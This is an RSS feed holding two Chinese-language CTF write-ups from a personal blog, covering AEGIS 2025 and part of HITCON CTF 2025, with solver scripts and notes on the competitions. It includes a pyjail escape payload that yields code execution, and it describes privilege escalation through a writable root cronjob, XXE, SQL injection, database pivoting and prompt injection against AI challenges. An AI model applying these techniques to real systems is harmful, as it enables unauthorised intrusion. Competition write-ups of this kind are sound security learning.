<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Flydragon&apos;s Blog</title><description>Myblog</description><link>https://flydragonw.github.io/</link><language>en</language><item><title>AEGIS 神盾盃 2025 Qual/Final Write-up 與心得</title><link>https://flydragonw.github.io/posts/aegis_2025/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/aegis_2025/</guid><description>和 Cake 參加神盾盃拿到第二名的 Write-up 與心得</description><pubDate>Sun, 28 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.aegis_2025&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;神盾盃是台灣除了技能競賽以外獎金最高的比賽，但限制大學以上才能參加&lt;br /&gt;
這次跟 CakeisTheFake 的好夥伴們一起參加，初賽第三名以及決賽第二名&lt;/p&gt;
&lt;p&gt;共拿到 90200 元獎金，賺爛了賺爛了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;image-1.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;神盾盃初賽&lt;/h2&gt;
&lt;p&gt;前十名可以進入決賽，進入決賽就保底三萬元獎金&lt;br /&gt;
所以如果是為了錢打比賽的話可以單刷進決賽，這樣會拿到最多錢&lt;/p&gt;
&lt;h3&gt;gochal&lt;/h3&gt;
&lt;p&gt;就是一個 XOR flag checker，只是用 golang 寫
&lt;img src=&quot;image-2.png&quot; alt=&quot;image-2.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

b64 = &quot;W257U3hHXURjfERORUlOdUBZRUJSRV9Uc1hjfUpRfwpB&quot;
key = (0x1A, 0x2B, 0x3C)

data = base64.b64decode(b64)
flag = bytes(b ^ key[i % 3] for i, b in enumerate(data)).decode(&quot;utf-8&quot;)
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;call back&lt;/h3&gt;
&lt;p&gt;追一下可以發現邏輯寫在 &lt;code&gt;sub_7FF7679F11C0&lt;/code&gt;
這邊會讀 flag.txt 然後會跳到寫在 data 段的 shell code
&lt;img src=&quot;image-3.png&quot; alt=&quot;image-3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看後面的訊息可以猜這題也是 flag checker
&lt;img src=&quot;image-4.png&quot; alt=&quot;image-4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;飛去 &lt;code&gt;unk_7FF7679F5040&lt;/code&gt;，make function，可以確認就是 flag checker
&lt;img src=&quot;image-5.png&quot; alt=&quot;image-5.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;後面就是老生常談了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET = &quot;8A167732F632676EF2FE0B42DC066342D856895CC6FC5B5AEA582360D27C3962E62A2F14D80C2342C8F41F6E&quot;
K = 0x0094E590

t = bytes.fromhex(TARGET)
arr = bytearray()
for i in range(0, 44, 4):
    T = int.from_bytes(t[i:i+4], &quot;big&quot;)
    U = ((T - 0x14) &amp;amp; 0xFFFFFFFF) ^ K
    arr += ((U &amp;gt;&amp;gt; 1) &amp;amp; 0xFFFFFFFF).to_bytes(4, &quot;big&quot;)

orig = bytearray(44)
for i in range(0, 44, 2):
    orig[i], orig[i+1] = arr[i+1], arr[i]

print(bytes(orig))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;NestingZip&lt;/h3&gt;
&lt;p&gt;給了一個嵌套超多層的 zip 檔，可以寫個腳本解出最後的檔案&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import zipfile
import shutil

def recursive_unzip(zip_path):
    zip_path = os.path.abspath(zip_path)

    while True:
        extract_dir = os.path.splitext(zip_path)[0]
        with zipfile.ZipFile(zip_path, &quot;r&quot;) as zf:
            zf.extractall(extract_dir)

        entries = os.listdir(extract_dir)
        if len(entries) == 1:
            candidate = os.path.join(extract_dir, entries[0])
            if zipfile.is_zipfile(candidate):
                print(f&quot;\rzip: {candidate}&quot;, end=&quot;&quot;)
                shutil.move(candidate, zip_path)
                shutil.rmtree(extract_dir)
                continue
        break


if __name__ == &quot;__main__&quot;:
    recursive_unzip(&quot;Nesting.zip&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解完之後可以拿到這個 &lt;code&gt;NOTflag.txt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vrq4tqyEs8zIoJLMoIvMk5Oghs+KoJ6gjMycjZrIoLyGncyNvJfMmaDOjKCeoMbPz5ugyJfOkcaC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;base64 decode 出來是亂碼，傻住了十分鐘，看檔名才猜到要再做一次 NOT&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-6.png&quot; alt=&quot;image-6.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;m - rsa&lt;/h3&gt;
&lt;p&gt;chatGPT 解掉了，好爽 ㄏㄏ&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;思路（簡述）&lt;br /&gt;
1. 伺服器有一個固定的 3×3 矩陣 A，中心是未知 m，外圈 8 個素數會印出（或印出矩陣 A，中心不是數字）。&lt;br /&gt;
2. 每次輸入 &apos;y&apos; 會給一組新的 RSA n 與 c = A^19 (mod n)。&lt;br /&gt;
3. 因為 det(A^19) = det(A)^19，且 det(A) 對 m 呈線性（沿中心元素展開），&lt;br /&gt;
所以蒐集多組 det(c) (mod n) 用 CRT 還原 det(A^19) 的整數值，取整數 19 次方根得到 det(A)；&lt;br /&gt;
接著 det(A) = K*m + B ⇒ m = (det(A) - B) // K。&lt;br /&gt;
4. 最後把 m 轉回 bytes 看看是不是可讀字串。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;cipher restraunt&lt;/h3&gt;
&lt;p&gt;是一個 python exe，可以拆 pyc 還原邏輯，但沒用
總之可以用不同方法拿到一堆圖片 (A~Z)
&lt;img src=&quot;image-7.png&quot; alt=&quot;image-7.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exiftool 看圖片 comment 照著提示用 steghide 解，可以集齊這些提示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;I am Legendary Utensil, and I can transform ingredients into dishes.

I want to eat the food that the chef made, but he gave me gold coins and asked me to buy the ingredients on the list. The list only says &quot;PRIME&quot;. What are these ingredients?

The chef loves prime numbers, and he will use them as ingredient codes.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;還有這張圖片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-8.png&quot; alt=&quot;image-8.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;答案是要把 P R I M E 五張圖對應的質數（圖片 Title）相乘之後跟沒用到的那張圖片一起丟進 OpenPuff&lt;/p&gt;
&lt;p&gt;到底誰想的到 = =&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-9.png&quot; alt=&quot;image-9.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Result&lt;/h3&gt;
&lt;p&gt;第三名，成功進決賽，好耶 去台南玩囉&lt;br /&gt;
其他隊友的初賽 write-up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Whale &lt;a href=&quot;https://blog.whale-tw.com/2025/09/28/aegis-2025/&quot;&gt;神盾盃 2025 Qual Writeup - by Whale120&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Naup &lt;a href=&quot;https://naup.mygo.tw/2025/10/24/2025-AEGIS-CTF-writeup/&quot;&gt;2025 神盾杯 Qual - writeup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;rota1001 (還沒寫😡)&lt;/li&gt;
&lt;li&gt;Aukro (還沒寫😡)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;image-10.png&quot; alt=&quot;image-10.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;神盾盃決賽&lt;/h2&gt;
&lt;p&gt;進決賽的又是一堆老熟人，忘記誰提的絕妙點子：大家一起包棟民宿&lt;br /&gt;
我剛好有 Agoda 白金會員，所以就幫忙訂，結果訂到一間離會場超遠的💀&lt;br /&gt;
總之我們四隊的人就一起住，剛好還順便練習了 GCC 面試（決賽和面試撞期）&lt;br /&gt;
&lt;img src=&quot;image-11.png&quot; alt=&quot;image-11.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;決賽的賽制是 霸主攻防+滲透&lt;br /&gt;
霸主攻防就是 pwn / prompt injection，霸主可以上 patch / 下防禦 prompt&lt;br /&gt;
主要算分是看滲透，霸主攻防影響的是額外獎金跟分數倍率&lt;/p&gt;
&lt;h3&gt;Day 1&lt;/h3&gt;
&lt;p&gt;發現沒帶 RJ45 轉接頭，只好 UberEat 送過來&lt;br /&gt;
一條 600 的轉接頭，開局直接 -600&lt;br /&gt;
甚至不是馬上送，送到都已經下午了 = =&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-12.png&quot; alt=&quot;image-12.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接被硬控半天，只能去看 pwn，幸好第一天的 pwn 都是常見的洞&lt;br /&gt;
寫了一個 cmdi 的 exploit 之後就只負責把哪裡有洞整理成 List 丟給隊裡的 pwnGPT，拿到網路線之前真的太坐牢了，debug 還要跑去看隊友電腦&lt;/p&gt;
&lt;p&gt;（沒內網，跟 pwnGPT 對話 辛酸畫面流出）
&lt;img src=&quot;image-13.png&quot; alt=&quot;image-13.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;這個 cmdi 爽到 12:30 左右就被 patch 掉了&lt;br /&gt;
後面就是一直 exploit -&amp;gt; patch&lt;/p&gt;
&lt;p&gt;只好一直吃小點心，又要到飯了
&lt;img src=&quot;image-14.png&quot; alt=&quot;image-14.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;prompt injection 拿了之前收集的 prompt 去戳都失敗了&lt;br /&gt;
但幸好只 delay 1 回合，等有人成功再抄作業就好了&lt;/p&gt;
&lt;p&gt;終於拿到網路線之後去看滲透，接手的時候鯨魚已經 access 兩台 warmup 獨立靶機，但其中一台不知道怎麼提權
&lt;img src=&quot;image-15.png&quot; alt=&quot;image-15.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上去翻垃圾很久都沒想法，後來想說再看一下 LINPEAS 好了&lt;br /&gt;
然後就看到一個 root cronjob，然後檔案可寫 超ㄏ&lt;/p&gt;
&lt;p&gt;總之快樂提權、把那台上的 flag 都撈一撈之後 Day 1 就差不多結束了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-16.png&quot; alt=&quot;image-16.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Day 2&lt;/h3&gt;
&lt;p&gt;第二天都在跟鯨魚打 AD Set，因為 AI 達人 Aukro 把 AI 題拿捏了&lt;br /&gt;
Initial Access 要打 Blind XXE，我是一點想法都沒有🤡&lt;br /&gt;
幸好台大林同學很強，我還在點心區做奶精奶茶的時候他就打進去了&lt;/p&gt;
&lt;p&gt;翻這台 WEB01 可以拿到連 DB01 的 credential，然後 DB01 可以 link 到 DB02&lt;br /&gt;
目前為止就有好幾把 flag 能拿了，帥帥帥&lt;/p&gt;
&lt;p&gt;但沒出意外的話就要出意外了，開始卡關&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WEB01 提權完了，在 DMZ 外面摸不到其他台&lt;/li&gt;
&lt;li&gt;DB01 找不到提權路徑&lt;/li&gt;
&lt;li&gt;DB02 找不到提權路徑&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;只好忍痛開錦囊（有 quota 可以問主辦單位拿提示）&lt;br /&gt;
原來是 DB01 link 到 DB02 還可以再 link 回來，此時就是 DB01 sa 了&lt;/p&gt;
&lt;p&gt;此時我就滑壘中離了，因為忘記要面試 GCC ㄏㄏ&lt;br /&gt;
城市老鼠般躲到旁邊的樓梯間偷偷面試，問題是樓梯間用了感應燈&lt;br /&gt;
自我介紹的時候燈一直暗掉，我又沒有開視訊鏡頭，面試老師那邊聽起來就是我一直卡詞講不好，但其實是因為眼前一片黑我在邊嘗試開燈邊講&lt;br /&gt;
無助的像是剛出生的小鹿一樣，最後也理所當然地沒錄取😭賠了夫人又要當一年兵&lt;/p&gt;
&lt;p&gt;面試結束，回來之後還是沒啥想法，一直困在瀏覽器紀錄的 rabbit hole，鯨魚也把該拿的 flag 都拿完了（很多）&lt;br /&gt;
後來我就回 WEB01 繼續翻垃圾，發現有個 IDOR 的 flag 漏拿了&lt;br /&gt;
體驗了一把垃圾堆裡撿到錢的快感&lt;/p&gt;
&lt;p&gt;我們的垂死掙扎就是不停開錦囊，但都沒甚麼用了&lt;br /&gt;
止步於 DB02，拿不到 shell QQ&lt;/p&gt;
&lt;p&gt;後來問了隔壁牛肉湯，說是用祖國人寫的工具可以掃到 DB02 的 sa 弱密碼，牛逼666&lt;/p&gt;
&lt;p&gt;結束之前麒升學長還打了一個沒人打的 pwn 帥帥帥（然後就被 patch 掉了，霸主不講武德）&lt;br /&gt;
幸好最後我們是第二名，耶
&lt;img src=&quot;image-17.png&quot; alt=&quot;image-17.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其他隊友的決賽 write-up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Whale &lt;a href=&quot;https://blog.whale-tw.com/2025/11/24/god-shield-final-2025/&quot;&gt;神盾盃 2025 Qual Writeup - by Whale120&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Naup (還沒寫😡)&lt;/li&gt;
&lt;li&gt;rota1001 &lt;a href=&quot;https://hackmd.io/@rota1001/aegis2025&quot;&gt;神盾盃 2025 write-up&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Aukro (還沒寫😡)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;後記&lt;/h2&gt;
&lt;p&gt;今年神盾是我參加過覺得題目品質最優的決賽&lt;br /&gt;
有趣又能學到東西，難度也不會過高&lt;br /&gt;
不過收穫最大的是從隔壁組聽到 DCSync 的笑話，真的超好笑&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DCSync = Discord Sync&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;隔壁組都是綠色勾勾的紅紅實習生跟打 pwn2own 拿過幾萬美金的大駭客&lt;br /&gt;
反觀我們這組都是乖寶寶好學生，我覺得輸的不冤😤&lt;br /&gt;
（反串要註明）&lt;/p&gt;
&lt;p&gt;離開台南之前我們吃了炸串吃到飽當慶功宴，耶
&lt;img src=&quot;image-18.png&quot; alt=&quot;image-18.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>HITCON CTF 2025 Qual/Final Write-up 與心得</title><link>https://flydragonw.github.io/posts/hitconctf_2025/</link><guid isPermaLink="true">https://flydragonw.github.io/posts/hitconctf_2025/</guid><description>和竹狐參加 HITCON CTF 拿到第一名和擔任 HITCON Cyber Range staff 的心得</description><pubDate>Sat, 27 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://visitor-badge.laobi.icu/badge?page_id=flydragon.blog.hitcon_2025&amp;amp;left_color=%232b3645&amp;amp;right_color=%2364a2e8&quot; alt=&quot;visitor badge&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;今年剛好同時參加了 Cyber Range 和 CTF，而且拿了第一名，這種經驗應該蠻少見的，所以決定紀錄一下。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/HITCON/posts/hitcon-ctf-%E6%B1%BA%E8%B3%BD%E5%8F%83%E6%88%B0%E9%9A%8A%E4%BC%8D%E4%BB%8B%E7%B4%B9-part-iii%E4%BB%8A%E5%A4%A9%E6%98%AF%E6%9C%80%E5%BE%8C%E4%B8%80%E6%B3%A2%E7%9A%84%E6%B1%BA%E8%B3%BD%E9%9A%8A%E4%BC%8D%E4%BB%8B%E7%B4%B9%E5%9B%89%E9%99%A4%E4%BA%86%E5%BE%9E%E5%88%9D%E8%B3%BD%E9%A0%86%E5%88%A9%E6%99%89%E7%B4%9A%E7%9A%84%E9%9A%8A%E4%BC%8D%E4%B9%8B%E5%A4%96%E9%82%84%E5%8C%85%E5%90%AB%E4%BA%86%E5%88%9D%E8%B3%BD%E7%9A%84%E5%8F%B0%E7%81%A3%E7%AC%AC%E4%B8%80%E5%90%8D%E9%9A%8A%E4%BC%8D%E4%BB%A5%E5%8F%8A%E4%B8%80%E6%94%AF%E9%82%80%E8%AB%8B%E9%9A%8A%E4%BC%8D%E5%92%8C/968027312032565/&quot;&gt;星爆牛炒竹狐&lt;/a&gt;拆隊了，正常來說遇到這種情況我會跟 Cake 好朋友們一起打，但因為各種 Drama 我們也拆隊了。最後攜家帶眷加入&lt;a href=&quot;https://bamboofox.org/&quot;&gt;竹狐&lt;/a&gt;，感謝 &lt;a href=&quot;https://blog.ching367436.me/&quot;&gt;Ching&lt;/a&gt; 和竹狐的大家願意收留我們 &amp;gt;&amp;lt;&lt;/p&gt;
&lt;p&gt;不過我的拖延症太嚴重，這篇拖很久才寫，題目細節都忘了很多，就紀錄我印象比較深的題目，拍謝&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;image-1.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;HITCON CTF 初賽&lt;/h2&gt;
&lt;p&gt;應該是公認目前台灣難度最高的 CTF 比賽&lt;br /&gt;
而今年初賽的前四名台灣隊伍可以進入實體交流賽（類決賽）&lt;/p&gt;
&lt;h4&gt;vibe2&lt;/h4&gt;
&lt;p&gt;是一個會用 matplot 畫圖的程式，流程簡單來說如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;生成一組隨機的 secret_phrase 字串&lt;/li&gt;
&lt;li&gt;這個字串可以用 ASCII bytes 表示，再用 matplot 把這個 list 印出來&lt;/li&gt;
&lt;li&gt;五分鐘之內把圖還原成 secret_phrase 就能拿到 flag&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但因為這個圖的畫法還蠻複雜的，點之間可以互相影響畫法，沒辦法一個點一個點爆破，但去逆向畫法更不現實，所以我往設置 constraint 降低爆破難度的方向去想&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不斷重新抽圖直到 secret_phrace 中同時出現 &lt;code&gt;!&lt;/code&gt; 和 &lt;code&gt;z&lt;/code&gt;（透過圖高度是否最高判斷）&lt;/li&gt;
&lt;li&gt;爆破三個點直到 match 這一小段的 target&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;刷首抽成功的機率是 32% (by ChatGPT)，聽起來蠻 feasible 的
但這樣會 TLE 😭
&lt;img src=&quot;image-2.png&quot; alt=&quot;image-2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;轉個念想想覺得五分鐘其實滿多的，感覺可以刷完首抽之後手動拉圖&lt;br /&gt;
所以就 vibe coding 了一個 GUI 拉圖工具&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-3.png&quot; alt=&quot;image-3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在我眼睛瞎掉/拉圖成功之前 &lt;a href=&quot;https://unichk.github.io/&quot;&gt;unicorn&lt;/a&gt; 就把這題解掉了，真的好強...&lt;br /&gt;
大概就是假設 secret_phrace 的結尾是 &lt;code&gt;z!&lt;/code&gt; 然後爆破其他位子看圖有沒有變更像&lt;/p&gt;
&lt;h4&gt;huge-hashtable&lt;/h4&gt;
&lt;p&gt;這題是筆記管理系統，有一個自己實作的 hash，有以下功能&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;註冊/登入/登出&lt;/li&gt;
&lt;li&gt;創建/讀取筆記&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;image-4.png&quot; alt=&quot;image-4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那個時候我的想法是直接爆，大力出奇蹟（好傻好天真）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-5.png&quot; alt=&quot;image-5.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但這個時間複雜度直接炸裂，失敗之後就都沒往碰撞的方向想，最後沒解出來QQ&lt;/p&gt;
&lt;p&gt;後來看到 HITCON Discord 有人分享解法，是找 &lt;code&gt;hash(&quot;note-{owner}-{title}&lt;/code&gt; 跟 &lt;code&gt;hash(&quot;user-{username};&quot;)&lt;/code&gt; 的碰撞（birthday attack）做出 heap leak 再用任意讀拿 flag&lt;/p&gt;
&lt;p&gt;我記得這題當初不是標 pwn，騙我 😭&lt;/p&gt;
&lt;h4&gt;simple-drive &amp;amp; simple-drive2&lt;/h4&gt;
&lt;p&gt;被其他題目痛擊之後四處逛其他隊友解到一半的題目&lt;br /&gt;
這題是一個雲端 drive，我看到的時候 &lt;a href=&quot;https://naup.mygo.tw/&quot;&gt;Naup&lt;/a&gt; 跟 &lt;a href=&quot;https://asia-hokak.github.io/&quot;&gt;Dr.Dog&lt;/a&gt; 已經把解法想出來了，甚至腳本都寫得差不多了&lt;br /&gt;
但語音聽起來他們有點 struggle，找不到腳本錯在哪，所以我就去把腳本寫出來撿頭了
抱歉ㄏㄏ
&lt;img src=&quot;image-6.png&quot; alt=&quot;image-6.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-7.png&quot; alt=&quot;image-7.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然後這個解法應該是 unintended，就這樣順便解掉 revenge 題了&lt;br /&gt;
爽賺&lt;/p&gt;
&lt;h4&gt;Result&lt;/h4&gt;
&lt;p&gt;初賽竹狐是最高分的台灣隊伍，也是世界第十三名&lt;br /&gt;
成功進入實體交流賽🥳，另外三隊也都是老熟人了&lt;br /&gt;
除了透過初賽晉級以外，AIS3 會另外推薦 2 隊直接進入決賽&lt;br /&gt;
結果我在賽後收到推薦了，超虧&lt;br /&gt;
後來 AIS3 推薦的兩隊是 Blue Goblin 跟 10F，其實約等於初賽第五名的隊伍拆成兩隊，意外地超級公平&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-8.png&quot; alt=&quot;image-8.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;HITCON CTF 決賽&lt;/h2&gt;
&lt;p&gt;時至今日，我還是不知道能不能把這個實體交流賽稱為 HITCON 決賽（因為沒有外國隊伍）&lt;br /&gt;
但講決賽聽起來比實體交流賽厲害，雖然有些彆扭我還是要叫他決賽 :D&lt;/p&gt;
&lt;p&gt;這次決賽是 belluminar + esports 賽制，簡單來說就是隊伍互相出題互相解&lt;br /&gt;
然後主辦單位會額外出題讓隊伍跟隊伍之間單挑，很像電競比賽&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-9.png&quot; alt=&quot;image-9.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;我們出的題目&lt;/h3&gt;
&lt;p&gt;這邊幾乎都是隊友做的，拿其中一個隊友的特選故事改編，弄了一個 galgame 超好笑，但我怕被告就不講細節了&lt;/p&gt;
&lt;p&gt;之前做&lt;a href=&quot;https://store.steampowered.com/app/2446190/_Adventure_of_Roger/&quot;&gt;晨晨力量人&lt;/a&gt;的時候剛好也是用 &lt;a href=&quot;https://zh.wikipedia.org/zh-tw/%E5%90%89%E9%87%8C%E5%90%89%E9%87%8C&quot;&gt;krkr&lt;/a&gt;-like 的腳本引擎，所以有去幫忙寫了一段遊戲的劇情腳本
&lt;img src=&quot;image-10.png&quot; alt=&quot;image-10.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;想看完整題目的話可以看 &lt;a href=&quot;https://iancmd.dev/posts/cybersecurity/ctf/hitcon-exhibition-ctf-2025/&quot;&gt;ian 的 blog&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;no-call-revenge-revenge&lt;/h3&gt;
&lt;p&gt;yet another &lt;a href=&quot;https://vincent55.tw/&quot;&gt;vincent55&lt;/a&gt; 出的 pyjail 題目&lt;/p&gt;
&lt;p&gt;看這題的時候剛好同事（傳說中的 Mow 跟 YK）在旁邊，所以就一起看&lt;br /&gt;
這樣我四捨五入也算是跟 Balsn 還有 Double Sigma 打過比賽了吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/local/bin/python3

import unicodedata
print(open(__file__).read())
expr = unicodedata.normalize(&quot;NFKC&quot;, input(&quot;&amp;gt; &quot;))

if &quot;._&quot; in expr:
    raise NameError(&quot;no __ %r&quot; % expr)

if any([x in &quot;([&apos;\&quot;+-*/ ])&quot; for x in expr]):
    raise NameError(&quot;no ([&apos;\&quot;+-*/ ]) %r&quot; % expr)

# no breakpoint for you :&amp;gt;
if &quot;breakpoint&quot; in expr:
    raise NameError(&quot;no breakpoint %r&quot; % expr)

eval(expr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這題把之前在 AIS3 pre-exam 的 &lt;a href=&quot;https://github.com/Vincent550102/My-CTF-Challenge/blob/main/AIS3-preexam/2025/Readme.md&quot;&gt;nocall-revenge&lt;/a&gt; 多 ban 了 breakpoint&lt;/p&gt;
&lt;p&gt;可以用 nocall-revenge 提到的做法用 for 把沒被 ban 的運算子蓋掉，而且一次蓋兩個成 eval 跟 input
之後就可以直接 import os RCE&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{0	for	help.	__class__.	__xor__	in{eval}}	and
{0	for	help.	__class__.	__invert__	in{input}}	and
help^~help
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Silent-Sync&lt;/h3&gt;
&lt;p&gt;Gemini 直接解掉了，超級無敵爽&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-11.png&quot; alt=&quot;image-11.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;HITCON University &quot;SIP&quot; System Challenge&lt;/h3&gt;
&lt;p&gt;黑箱題，&lt;a href=&quot;https://xtrimi.xyz/&quot;&gt;Xtrimi&lt;/a&gt; 跟 &lt;a href=&quot;https://albert5888.github.io/&quot;&gt;albert5888&lt;/a&gt; 發現可以用 sqli 愉快的拿到 fake flag
&lt;a href=&quot;https://blog.ching367436.me/&quot;&gt;Ching&lt;/a&gt; 發現這台主機有跑 &lt;a href=&quot;https://zh.wikipedia.org/zh-tw/%E5%B0%8D%E8%A9%B1%E5%95%9F%E5%8B%95%E5%8D%94%E5%AE%9A&quot;&gt;SIP&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xtrimi.xyz/&quot;&gt;Xtrimi&lt;/a&gt; 戳到連上 sip 的方法
&lt;img src=&quot;image-12.png&quot; alt=&quot;image-12.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xtrimi.xyz/&quot;&gt;Xtrimi&lt;/a&gt; 繼續發力，發現連上之後按 &lt;code&gt;*&lt;/code&gt; 輸入 1024 可以進入下一階段解 RSA&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-13.png&quot; alt=&quot;image-13.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-14.png&quot; alt=&quot;image-14.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;送出答案的時候，超過十個按鈕會被截斷，可以推測答案是 9 位數字 + &lt;code&gt;#&lt;/code&gt; 送出鍵 或 10 位數字&lt;/p&gt;
&lt;p&gt;於是 &lt;a href=&quot;https://asia-hokak.github.io/&quot;&gt;Dr.Dog&lt;/a&gt; 開始不停嘗試各種可能性，但都解不出來&lt;/p&gt;
&lt;p&gt;最後我在凌晨兩點通靈出來了，送 &lt;code&gt;65#&lt;/code&gt; 就能拿到 flag&lt;br /&gt;
我記得解完這題之後我跑去寫學校作業寫到早上五點，也是很有生活了
&lt;img src=&quot;image-15.png&quot; alt=&quot;image-15.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解完直接找出題者呂老闆抱怨，但有一說一 SIP 蠻有趣的&lt;/p&gt;
&lt;h3&gt;Driver Killer&lt;/h3&gt;
&lt;p&gt;給了一台 VM 跟沒權限讀的 flag.txt&lt;br /&gt;
提權到 NT SYSTEM 之後（忘記那時候怎麼提的，但蠻簡單）&lt;br /&gt;
再去看 flag.txt 會發現是一個爛掉的 flag&lt;br /&gt;
印象中大概長這樣 &lt;code&gt;hitcon{http://xxxx.xxx/chat XXXXXXX}&lt;/code&gt;，總之看起來後半段是加密過的，前面 URL 我想說是 rickroll 之類的東西就沒看，逛了一下沒看到甚麼可疑的 Driver，就放棄了&lt;/p&gt;
&lt;p&gt;後來 &lt;a href=&quot;https://albert5888.github.io/&quot;&gt;albert5888&lt;/a&gt; 說那個 URL 就是第二關，過去打 prompt injection 就好了 = =&lt;/p&gt;
&lt;h3&gt;Esports - Android 計步器&lt;/h3&gt;
&lt;p&gt;少數可以整組一起參加的 Esports 題，這題是一個計步器的 apk，搖晃手機就可以加分
現場一堆人在那邊搖手機，非常抽象&lt;/p&gt;
&lt;p&gt;直覺的思路是去看加分的邏輯然後直接打 request，我拆了 apk 之後發現加分的邏輯有點複雜，但單挑賽分秒必爭沒時間逆向&lt;br /&gt;
所以反手打開 android interpreter，結果甚麼封包都攔不到，太久沒用不知道環境什麼時候爛掉的，隊友看起來也沒人會 android&lt;/p&gt;
&lt;p&gt;只好改變思路把 anti-debug patch 掉，再用模擬器轉
&lt;img src=&quot;image-17.png&quot; alt=&quot;image-17.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;patch 完之後 &lt;a href=&quot;https://asia-hokak.github.io/&quot;&gt;Dr.Dog&lt;/a&gt; 發現可以 patch 一下頻率限制&lt;/p&gt;
